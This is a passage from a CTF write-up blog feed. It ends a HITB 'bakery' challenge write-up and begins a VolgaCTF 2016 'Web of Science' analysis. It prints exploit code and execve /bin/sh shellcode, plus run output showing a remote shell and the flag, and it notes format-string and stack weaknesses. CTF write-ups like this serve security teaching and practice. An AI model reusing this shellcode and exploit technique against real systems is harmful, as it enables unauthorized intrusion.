&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;write_char_in_memory&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sock&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;init&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    sock.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;add ingredient&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;    base = init + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;sum&lt;&#x2F;span&gt;&lt;span&gt;( [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;(x) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;x &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;FLOUR&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;] )
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If the value does not finish by a NULL, I calculate what is the closest upper
bound to be aligned with 0, and substract the result with my value:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;find_closest_upper_bound&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    a = x &amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8
&lt;&#x2F;span&gt;&lt;span&gt;    a+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;a &amp;lt;&amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;    top = base
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;base &amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xff &lt;&#x2F;span&gt;&lt;span&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x00&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        top = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;find_closest_upper_bound&lt;&#x2F;span&gt;&lt;span&gt;(base)
&lt;&#x2F;span&gt;&lt;span&gt;    diff = top-base
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This gives me in the &lt;code&gt;diff&lt;&#x2F;code&gt; variable what needs to be added to the stub `randint&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;‘F’ + ‘L’ + ‘O’ + ‘U’ + ‘R’&lt;code&gt;. We can then padding this stub by appending to this stuff &lt;&#x2F;code&gt;diff&lt;code&gt;times&lt;&#x2F;code&gt;\x01`. This way we fully control the last byte, so we
can append the character we actually want written in memory.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Now that we can write reliably one character at a time, we can copy our
shellcode:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;        sc = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x31\xd2&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# xor rdx, rdx
&lt;&#x2F;span&gt;&lt;span&gt;        sc+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x31\xc0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# xor rax, rax
&lt;&#x2F;span&gt;&lt;span&gt;        sc+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x31\xf6&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# xor rsi, rsi
&lt;&#x2F;span&gt;&lt;span&gt;        sc+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# mov rbx, 0x68732f6e69622f2f
&lt;&#x2F;span&gt;&lt;span&gt;        sc+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\xc1\xeb\x08&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                              &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# shr rbx, 0x8
&lt;&#x2F;span&gt;&lt;span&gt;        sc+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x53&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                          &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# push rbx
&lt;&#x2F;span&gt;&lt;span&gt;        sc+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x89\xe7&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# mov rdi, rsp
&lt;&#x2F;span&gt;&lt;span&gt;        sc+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\xc6\xc0\x3b&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# mov al, 59
&lt;&#x2F;span&gt;&lt;span&gt;        sc+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x0f\x05&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# syscall
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;c &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;sc:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write_char_in_memory&lt;&#x2F;span&gt;&lt;span&gt;(s, c, rand &amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xff&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And to execute it, the only thing left is to start baking!&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;        s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;add ingredient&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;        s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;BAKE&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; + &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; )
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s go:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;  py gef-exploit.py
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Connected to 52.17.31.229:31337
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Attach&lt;&#x2F;span&gt;&lt;span&gt; with GDB and hit Enter
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Got banner
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Got temp=654227
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Got rand=133
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[*]&lt;&#x2F;span&gt;&lt;span&gt; Writing char=H rand=133
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[*]&lt;&#x2F;span&gt;&lt;span&gt; Using top=768, base=525
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[*]&lt;&#x2F;span&gt;&lt;span&gt; Sending &amp;#39;&amp;#39;FLOURAAA&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x&lt;&#x2F;span&gt;&lt;span&gt;01H&amp;#39;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[*]&lt;&#x2F;span&gt;&lt;span&gt; Writing char=1 rand=133
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[*]&lt;&#x2F;span&gt;&lt;span&gt; Using top=768, base=525
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Got it, interacting (Ctrl-C to break)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Get a PTY with &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; python -c &amp;quot;import pty;pty.spawn(&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&#x2F;bin&#x2F;bash&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;)&amp;quot;  &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;python -c &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;import pty;pty.spawn(&amp;#39;&#x2F;bin&#x2F;bash&amp;#39;)&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;bakery@ip-172-31-31-97:&#x2F;$&lt;&#x2F;span&gt;&lt;span&gt; cd home&#x2F;bakery
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span&gt; home&#x2F;bakery
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;bakery@ip-172-31-31-97:&#x2F;home&#x2F;bakery$&lt;&#x2F;span&gt;&lt;span&gt; ls
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ls
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;YOU_WANT_THIS_ONE&lt;&#x2F;span&gt;&lt;span&gt;  bakery
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;bakery@ip-172-31-31-97:&#x2F;home&#x2F;bakery$&lt;&#x2F;span&gt;&lt;span&gt; cat YOU_WANT_THIS_ONE
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span&gt; YOU_WANT_THIS_ONE
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;You&lt;&#x2F;span&gt;&lt;span&gt; win! The flag is HITB{24d467d954cc08efbfa6acd8341e55d7}
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;bakery@ip-172-31-31-97:&#x2F;home&#x2F;bakery$
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Fun challenge, thanks to the whole HITB crew for their continuous creativity. And as usual, the full exploit can be found &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;06ff00997c9d07099f27&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>VolgaCTF 2016 - Web of Science</title>
        <published>2016-03-28T00:00:00+00:00</published>
        <updated>2016-03-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2016-03-28-volgactf-2016-web-of-science/"/>
        <id>https://blahcat.github.io/2016-03-28-volgactf-2016-web-of-science/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2016-03-28-volgactf-2016-web-of-science/">&lt;h3 id=&quot;info&quot;&gt;Info&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  !file .&#x2F;web_of_science
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.&#x2F;web_of_science:&lt;&#x2F;span&gt;&lt;span&gt; ELF 64-bit LSB executable, x86-64, version 1 (SYSV)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dynamically linked, interpreter &#x2F;lib64&#x2F;ld-linux-x86-64.so.2, for GNU&#x2F;Linux 2.6.24, BuildID&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;sha1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=85e0df26435ee411258ad39668c9700b1ebadec9, stripped
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  checksec
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; checksec for &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;home&#x2F;hugsy&#x2F;ctf&#x2F;volgactf_2016&#x2F;web_of_science&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Canary:&lt;&#x2F;span&gt;&lt;span&gt;                                           Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NX&lt;&#x2F;span&gt;&lt;span&gt; Support:                                       No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PIE&lt;&#x2F;span&gt;&lt;span&gt; Support:                                      No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RPATH:&lt;&#x2F;span&gt;&lt;span&gt;                                            No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RUNPATH:&lt;&#x2F;span&gt;&lt;span&gt;                                          No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Partial&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                    Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Full&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                       No
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It’s a simple dynamically linked binary for x86-64. We have a canary stack
however the stack is executable (the ’90s says hello!), which &lt;code&gt;gef&lt;&#x2F;code&gt;
confirms instantly:
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;LfT3dt1.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;LfT3dt1.png&quot;

    

    
    title=&quot;exec-stack&quot;
    alt=&quot;exec-stack&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;vulnerabilities&quot;&gt;Vulnerabilities&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;web_of_science&lt;&#x2F;code&gt; is a tool to manage scientific papers.
The binary is full of vulnerabilities, many of which were automatically detected
by the &lt;code&gt;format-string-helper&lt;&#x2F;code&gt; command from &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;gef.git&quot;&gt;GDB-GEF&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;cqYmZLi.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;cqYmZLi.png&quot;

    

    
    title=&quot;fmt-str-gef&quot;
    alt=&quot;fmt-str-gef&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Without any static analysis, we immediately spot that many (if not all)
&lt;code&gt;printf()&lt;&#x2F;code&gt; calls are vulnerable to format string vulnerabilities, where we
control the format field. That’s good, we can leverage that later to bypass the
canary protection. So far, so good ☺&lt;&#x2F;p&gt;
&lt;p&gt;So what does the binary do? It starts by call the function at 0x04007CD which
checks if we are human by prompting us to solve an addition with randomly
generated integers. Pretty hardcore stuff, right?&lt;&#x2F;p&gt;
&lt;p&gt;Then we jump into serious business at 0x400E1C. The function offers a menu to
respectively add&#x2F;delete&#x2F;list&#x2F;view papers and exit.&lt;&#x2F;p&gt;
&lt;p&gt;When adding a paper (&lt;code&gt;add_paper()&lt;&#x2F;code&gt; function), a stack buffer of 1096 bytes is
allocated on the stack. It is then possible to populate different fields of this
stack allocated paper as shown here:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;dTZmTgS.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;dTZmTgS.png&quot;

    

    
    title=&quot;add-paper-fill-info&quot;
    alt=&quot;add-paper-fill-info&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;When saving the stack buffer is then copied to the .bss segment:&lt;&#x2F;p&gt;
